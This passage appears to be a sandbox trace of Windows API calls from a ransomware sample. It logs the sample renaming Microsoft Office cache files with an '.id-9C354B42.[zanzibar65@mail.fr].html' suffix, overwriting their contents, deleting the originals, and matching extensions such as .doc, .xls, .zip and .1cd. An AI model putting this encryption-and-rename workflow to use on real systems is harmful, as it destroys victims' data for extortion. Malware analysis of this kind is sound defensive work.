(in: hFile=0x1f0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0046.629] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x65520, lpOverlapped=0x0) returned 1 [0046.646] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0046.839] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.839] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.839] SetEndOfFile (hFile=0x1f0) returned 1 [0047.240] CloseHandle (hObject=0x1f0) returned 1 [0047.255] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.255] SetEndOfFile (hFile=0x218) returned 1 [0047.417] CloseHandle (hObject=0x218) returned 1 [0047.425] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0047.442] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0047.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.976] lstrlenW (lpString=".doc") returned 4 [0047.976] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.976] lstrlenW (lpString=".docx") returned 5 [0047.976] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0047.976] lstrlenW (lpString=".pdf") returned 4 [0047.976] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.976] lstrlenW (lpString=".xls") returned 4 [0047.976] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.976] lstrlenW (lpString=".xlsx") returned 5 [0047.976] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0047.976] lstrlenW (lpString=".ppt") returned 4 [0047.976] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.977] lstrlenW (lpString=".zip") returned 4 [0047.977] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.977] lstrlenW (lpString=".rar") returned 4 [0047.977] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.977] lstrlenW (lpString=".bz2") returned 4 [0047.977] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.977] lstrlenW (lpString=".7z") returned 3 [0047.977] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.977] lstrlenW (lpString=".dbf") returned 4 [0047.977] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.977] lstrlenW (lpString=".1cd") returned 4 [0047.977] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.977] lstrlenW (lpString=".jpg") returned 4 [0047.977] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.977] lstrlenW (lpString=".doc") returned 4 [0047.977] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.977] lstrlenW (lpString=".docx") returned 5 [0047.977] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0047.977] lstrlenW (lpString=".pdf") returned 4 [0047.977] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.977] lstrlenW (lpString=".xls") returned 4 [0047.977] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.977] lstrlenW (lpString=".xlsx") returned 5 [0047.977] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0047.977] lstrlenW (lpString=".ppt") returned 4 [0047.977] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.978] lstrlenW (lpString=".zip") returned 4 [0047.978] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.978] lstrlenW (lpString=".rar") returned 4 [0047.978] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.978] lstrlenW (lpString=".bz2") returned 4 [0047.978] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.978] lstrlenW (lpString=".7z") returned 3 [0047.978] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.978] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.978] lstrlenW (lpString=".dbf") returned 4 [0047.978] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.978] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.978] lstrlenW (lpString=".1cd") returned 4 [0047.978] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.978] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0047.978] lstrlenW (lpString=".jpg") returned 4 [0047.978] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.978] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0047.978] lstrlenW (lpString="Office32WW.msi") returned 14 [0047.978] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.324] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=1992192) returned 1 [0048.324] CloseHandle (hObject=0x17c) returned 1 [0048.324] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0048.324] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.324] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0048.324] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.325] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc6c | out: lpNewFilePointer=0x0) returned 1 [0048.325] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.325] ReadFile (in: hFile=0x17c, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.328] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.330] ReadFile (in: hFile=0x17c, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.333] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x327fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.334] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.334] ReadFile (in: hFile=0x17c, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.348] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.348] WriteFile (in: hFile=0x17c, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x327fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0048.462] SetEndOfFile (hFile=0x17c) returned 1 [0048.897] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3eb3070 [0048.901] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.901] WriteFile (in: hFile=0x17c, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.902] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.902] WriteFile (in: hFile=0x17c, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.904] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.904] WriteFile (in: hFile=0x17c, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.906] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3eb3070 | out: hHeap=0x220000) returned 1 [0048.906] CloseHandle (hObject=0x17c) returned 1 [0048.906] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0048.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.906] lstrlenW (lpString=".doc") returned 4 [0048.906] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.906] lstrlenW (lpString=".docx") returned 5 [0048.906] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0048.906] lstrlenW (lpString=".pdf") returned 4 [0048.906] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.906] lstrlenW (lpString=".xls") returned 4 [0048.907] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.907] lstrlenW (lpString=".xlsx") returned 5 [0048.907] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0048.907] lstrlenW (lpString=".ppt") returned 4 [0048.907] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.907] lstrlenW (lpString=".zip") returned 4 [0048.907] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.907] lstrlenW (lpString=".rar") returned 4 [0048.907] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.907] lstrlenW (lpString=".bz2") returned 4 [0048.907] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.907] lstrlenW (lpString=".7z") returned 3 [0048.907] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.907] lstrlenW (lpString=".dbf") returned 4 [0048.907] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.907] lstrlenW (lpString=".1cd") returned 4 [0048.907] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.907] lstrlenW (lpString=".jpg") returned 4 [0048.907] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.907] lstrlenW (lpString=".doc") returned 4 [0048.907] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.907] lstrlenW (lpString=".docx") returned 5 [0048.907] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0048.907] lstrlenW (lpString=".pdf") returned 4 [0048.907] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.907] lstrlenW (lpString=".xls") returned 4 [0048.908] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.908] lstrlenW (lpString=".xlsx") returned 5 [0048.908] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0048.908] lstrlenW (lpString=".ppt") returned 4 [0048.908] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.908] lstrlenW (lpString=".zip") returned 4 [0048.908] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.908] lstrlenW (lpString=".rar") returned 4 [0048.908] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.908] lstrlenW (lpString=".bz2") returned 4 [0048.908] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.908] lstrlenW (lpString=".7z") returned 3 [0048.908] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.908] lstrlenW (lpString=".dbf") returned 4 [0048.908] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.908] lstrlenW (lpString=".1cd") returned 4 [0048.908] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0048.908] lstrlenW (lpString=".jpg") returned 4 [0048.908] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.908] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1 [0048.908] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0048.908] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0050.117] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=715834) returned 1 [0050.117] CloseHandle (hObject=0x218) returned 1 [0050.117] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0050.118] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0050.118] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0050.118] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.118] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.118] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0050.118] GetLastError () returned 0x0 [0050.118] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0050.133] WriteFile (in: hFile=0x174, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0050.147] ReadFile (in: hFile=0x218, lpBuffer=0x3d70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesRead=0x327fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.147] WriteFile (in: hFile=0x174, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x327fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fc9c*=0x104, lpOverlapped=0x0) returned 1 [0050.147] SetEndOfFile (hFile=0x174) returned 1 [0050.147] CloseHandle (hObject=0x174) returned 1 [0050.147] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.147] SetEndOfFile (hFile=0x218) returned 1 [0050.153] CloseHandle (hObject=0x218) returned 1 [0050.153] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0050.153] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0050.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0050.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0050.154] lstrlenW (lpString=".doc") returned 4 [0050.154] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0050.154] lstrlenW (lpString=".docx") returned 5 [0050.154] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0050.154] lstrlenW (lpString=".pdf") returned 4 [0050.154] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0050.154] lstrlenW (lpString=".xls") returned 4 [0050.154] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0050.154] lstrlenW (lpString=".xlsx") returned 5 [0050.154] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0050.154] lstrlenW (lpString=".ppt") returned 4 [0050.154] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0050.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0050.154] lstrlenW (lpString=".zip") returned 4 [0050.154] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0050.154] lstrlenW (lpString=".rar") returned 4 [0050.154] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0050.154] lstrlenW (lpString=".bz2") returned 4 [0050.154] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0050.154] lstrlenW (lpString=".7z") returned 3 [0050.154] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0050.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0050.154] lstrlenW (lpString=".dbf") returned 4 [0050.154] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0050.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0050.154] lstrlenW (lpString=".1cd") returned 4 [0050.154] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0050.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0050.154] lstrlenW (lpString=".jpg") returned 4 [0050.154] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0050.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0050.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0050.155] lstrlenW (lpString=".doc") returned 4 [0050.155] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0050.155] lstrlenW (lpString=".docx") returned 5 [0050.155] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0050.155] lstrlenW (lpString=".pdf") returned 4 [0050.155] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0050.155] lstrlenW (lpString=".xls") returned 4 [0050.155] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0050.155] lstrlenW (lpString=".xlsx") returned 5 [0050.155] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0050.155] lstrlenW (lpString=".ppt") returned 4 [0050.155] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0050.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0050.155] lstrlenW (lpString=".zip") returned 4 [0050.155] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0050.155] lstrlenW (lpString=".rar") returned 4 [0050.155] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0050.155] lstrlenW (lpString=".bz2") returned 4 [0050.155] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0050.155] lstrlenW (lpString=".7z") returned 3 [0050.155] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0050.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0050.155] lstrlenW (lpString=".dbf") returned 4 [0050.155] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0050.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0050.155] lstrlenW (lpString=".1cd") returned 4 [0050.155] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0050.155] lstrlenW (lpString="C:\\MSOCache\\All 